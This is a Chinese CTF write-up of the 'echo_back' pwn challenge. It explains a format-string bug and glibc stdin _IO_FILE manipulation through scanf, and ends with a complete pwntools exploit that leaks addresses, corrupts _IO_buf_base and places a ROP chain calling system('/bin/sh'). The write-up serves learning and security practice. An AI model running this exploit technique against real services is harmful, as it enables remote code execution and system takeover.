不一

攻防世界echo_back和scanf的IO利用

字数统计: 1.8k阅读时长: 7 min
2020/02/14 Share

题目地址

echo_back

环境搭建

IDA动态调试

基于Mac版IDA pro 7.0,把如下图目录下的linux_server64(或运行32位ELF时使用linux_server)上传到Linux,可以使用scp命令:
$ scp /Applications/IDA\ Pro\ 7.0/dbgsrv/linux_server64 ubuntu@xx.xx.xx.xx:~/

在Linux上运行即可,则会开启在端口23946上的监听:
$ ./linux_server64

在IDA上通过Debugger菜单开启动态调试:

靶机环境

首先需要使用题目提供的libc文件,其版本为2.23,可以通过以下命令得知:

1
2
$ strings libc.so.6 | grep libc-2.2
libc-2.23.so

当前Linux(Ubuntu 16.04)使用的libc版本是2.23,使用以下命令查看:

1
2
$ ldd --version
ldd (Ubuntu GLIBC 2.23-0ubuntu11) 2.23

使用socat将ELF绑定到端口上,这样可以让他人通过nc命令进行连接:

1
$ socat tcp-l:20000,reuseaddr,fork exec:./echo_back

漏洞分析

静态分析

使用IDA分析ELF文件,在sub_b80函数发现格式化字符串漏洞:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
int sub_b80(char *a1)
{
// 8byte长度缓冲区
size_t nbytes; // [rsp+1Ch] [rbp-14h]

// 用于CANARY的随机数
int v3; // [rsp+28h] [rbp-8h]
v3 = __readfsqword(0x28u);
memset((char *)&nbytes + 4, 0, 8);

// 使用scanf输入长度整数
printf("length:");
_isoc99_scanf("%d", &nbytes);
getchar();

// nbytes最大为7
if ( nbytes < 0 || (signed int)nbytes > 6 ) nbytes = 7;

read(0, (char *)&nbytes + 4, (unsigned int)nbytes);
if ( *a1 )
printf("%s say:", a1);
else
printf("anonymous say:", (char *)&nbytes + 4);

// 将用户输入字符串作为printf第一个参数,存在格式化字符串攻击
printf((const char *)&nbytes + 4);

// 验证CANARY
return __readfsqword(0x28u) ^ v3;
}

格式化字符串攻击有两个主要用法:

  1. 使用%p可以以16进制形式泄漏内存数据。
  2. 使用%n可以将当前已输入的字符数写入指定内存。
    综上,我们可以获取栈上数据,包括RBP、CANARY和函数返回地址等;还可以往任意内存地址写入数据,但由于输入长度限制在7,因此写入的数据非常有限,大概只能写个0之类的。

scanf的IO利用

scanf函数的实现代码如下(省略):

1
2
3
4
5
6
int __isoc99_scanf (const char *format, ...)
{
...
done = __vfscanf_internal(stdin, format, arg, SCANF_ISOC99_A);
...
}

可见scanf函数主要通过调用__vfscanf_internal函数,从标准输入stdin读取数据。stdin是一个文件描述符,在C中是_IO_FILE结构体指针(一般变量名为fp)。当然对于fp也不能随便读取,至少要遵守基本法,要判断有没有数据进行工口,是否EOF等,这些操作是由_IO_new_file_underflow函数进行,该函数源码中一些关键的代码如下(要查看完整代码可以点击连接):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
int
_IO_new_file_underflow (FILE *fp)
{
...
// 判断fp的当前读取的位置是否超出了读取缓冲区
if (fp->_IO_read_ptr < fp->_IO_read_end)
// 返回fp的_IO_read_ptr作为用于写数据的位置
return *(unsigned char *) fp->_IO_read_ptr;
...

// 对fp进行赋值操作,统一为_IO_buf_base
fp->_IO_read_base = fp->_IO_read_ptr = fp->_IO_buf_base;
fp->_IO_read_end = fp->_IO_buf_base;
fp->_IO_write_base = fp->_IO_write_ptr = fp->_IO_write_end
= fp->_IO_buf_base;

// 向_IO_buf_base写入数据,长度是_IO_buf_end - _IO_buf_base
count = _IO_SYSREAD (fp, fp->_IO_buf_base,
fp->_IO_buf_end - fp->_IO_buf_base);
...
}

于是对scanf函数利用有如下几个要点:

  1. 使得fp的_IO_read_ptrfp->_IO_read_end,这样避免return,从而向_IO_buf_base写数据;
  2. 修改_IO_buf_base为目标地址;
  3. 修改_IO_buf_end使得数据写入长度符合需求。
    对于scanf函数而言,其fp就是stdin,也就是libc中的_IO_2_1_stdin_

动态分析

在选择choice>> 2之后进入到echo back功能的函数,点击挂起,观察IDA中的栈试图:

通过printf格式化字符串攻击可以得到elf和libc加载的基址:

  1. echo back函数顶部有返回到main函数的地址,通过这个地址,以及ELF文件中main函数的偏移,可以计算得到ELF加载在内存中的基址;
  2. main函数顶部有返回到__libc_start_main函数的地址,同理可以计算得到libc加载的基址;
  3. main函数的栈空间有一片0数据区域,是main函数中name变量。

得到ELF和libc基址后可以通过偏移计算得到下面地址:

  1. ELF中pop rdi; ret;gadget的地址;
  2. libc中system函数地址;
  3. libc中"/bin/sh"字符串地址;
  4. libc中_IO_2_1_stdin_标准输入的文件描述符结构体地址;

使用gdb_pwndbg获取_IO_2_1_stdin_的结构信息:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
gdb-peda$ p _IO_2_1_stdin_
$2 = {
file = {
_flags = 0xfbad208b,
_IO_read_ptr = 0x7ffff7dd1963 <_IO_2_1_stdin_+0x83> "",
_IO_read_end = 0x7ffff7dd1963 <_IO_2_1_stdin_+0x83> "",
_IO_read_base = 0x7ffff7dd1963 <_IO_2_1_stdin_+0x83> "",
_IO_write_base = 0x7ffff7dd1963 <_IO_2_1_stdin_+0x83> "",
_IO_write_ptr = 0x7ffff7dd1963 <_IO_2_1_stdin_+0x83> "",
_IO_write_end = 0x7ffff7dd1963 <_IO_2_1_stdin_+0x83> "",
_IO_buf_base = 0x7ffff7dd1963 <_IO_2_1_stdin_+0x83> "",
_IO_buf_end = 0x7ffff7dd1964 <_IO_2_1_stdin_+0x84> "",
...
},
vtable = 0x7ffff7dd06e0 <_IO_file_jumps>
}

可以得到_IO_buf_base_IO_buf_end分别位于_IO_2_1_stdin_结构体的第8和第9位。其中_IO_buf_base的值为0x7ffff7dd1963_IO_2_1_stdin_+0x83,可得_IO_2_1_stdin的地址是0x7ffff7dd18e0。若将_IO_buf_base的最低字节覆盖为0,变成0x7ffff7dd1900,即为_IO_2_1_stdin_+0x20,即是_IO_write_base的地址。
利用printf的格式化字符串攻击就可以将0写入到_IO_buf_base的最低字节,从而可以利用scanf的IO漏洞进一步覆盖_IO_buf_base_IO_buf_end从而向任意内存位置写入任意数据。当使用格式化字符串攻击时的栈空间如下图所示:

利用set name_IO_buf_base的内存位置写入到栈上,name和RSP距离为(80/8)=10,加上x64传参的6个寄存器,得到16,则使用字符串$16$hhn【翻译:取出printf第16个参数作为目的地址,将当前已输出字符数(0)写入到目的地址指向的内存】对目标内存进行写入。
由于初始初始状态下_IO_read_ptr_IO_read_end是相等的,因此调用scanf会写入到_IO_buf_base指向的内存,即_IO_write_base的地址。但我们无意修改_IO_write_base前面的三个参数,因此payload前3个8字节应与原有数据相同,即_IO_2_1_stdin_+0x83,接下去2个8字节分别用于覆盖_IO_buf_base_IO_buf_end,以满足scanf写入位置scanf写入长度的需求:

1
2
3
4
5
payload = p64(addr_io_stdin + 83) * 3
# 用于覆盖栈上的返回地址
payload += p64(addr_ret)
# 需要写入3个8字节数据
payload += p64(addr_ret + 8 * 3)

之后还需要多次调用getchar函数,每次调用可以使_IO_read_ptr加一,直到其等于_IO_read_end才能再次往_IO_buf_base写入。而第二次写入的内存就和普通栈溢出修改程序逻辑一样了,通过pop rdi传参然后调用system函数。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
from pwn import *

context(arch='amd64', os='linux')

r = remote('10.211.55.3', 20000)
elf = ELF('./echo_back')
libc = ELF('./libc.so.6')

def setName(name):
r.sendlineafter('>> ', '1')
r.sendafter('name:', name)

def echo(content):
r.sendlineafter('>> ', '2')
r.sendlineafter('length:', '7')
r.sendline(content)
r.recvuntil('say:')

line = r.recvuntil('---')
return line[:-4]

# 获取main的返回地址所在的地址
main_ret = int(echo('%12$p'), 16) + 0x8

# libc加载地址
libc_start = int(echo('%19$p'), 16) - 0xF0 - libc.symbols[b'__libc_start_main']

# elf加载地址
elf_start = int(echo('%6$p'), 16) - 0xef8

# 获取system地址
system = libc.symbols[b'system'] + libc_start

# 获取/bin/sh
sh = 0x18cd57 + libc_start

# 获取gadget
pop_rdi = 0xd93 + elf_start
# 获取标准输出
io_stdin = libc.symbols[b'_IO_2_1_stdin_'] + libc_start
io_buf_base = io_stdin + 0x8 * 7

# 修改IO_buf_base
setName(p64(io_buf_base))
echo('%16$hhn')

payload = p64(io_stdin + 83) * 3
# 覆盖IO_buf_base
payload += p64(main_ret)
# 覆盖IO_buf_end
payload += p64(main_ret + 0x8 * 3)

# 修改IO_buf_stdin结构体
r.sendlineafter('>> ', '2')
r.sendlineafter('length:', payload)
r.sendline('')

# 调用getchar增加_IO_read_prt
for i in range(0, len(payload) - 1):
r.sendlineafter('choice>> ', '2')
sleep(0.01)
r.sendlineafter('length:', '')

payload = p64(pop_rdi)
payload += p64(sh)
payload += p64(system)
r.sendlineafter('>> ','2')
r.sendlineafter('length:',payload)
r.sendline('')

# getshell
r.sendlineafter('>> ','3')

r.interactive()

r.close()
CATALOG
  1. 1. 题目地址
  2. 2. 环境搭建
    1. 2.1. IDA动态调试
    2. 2.2. 靶机环境
  3. 3. 漏洞分析
    1. 3.1. 静态分析
    2. 3.2. scanf的IO利用
    3. 3.3. 动态分析
  4. 4. exp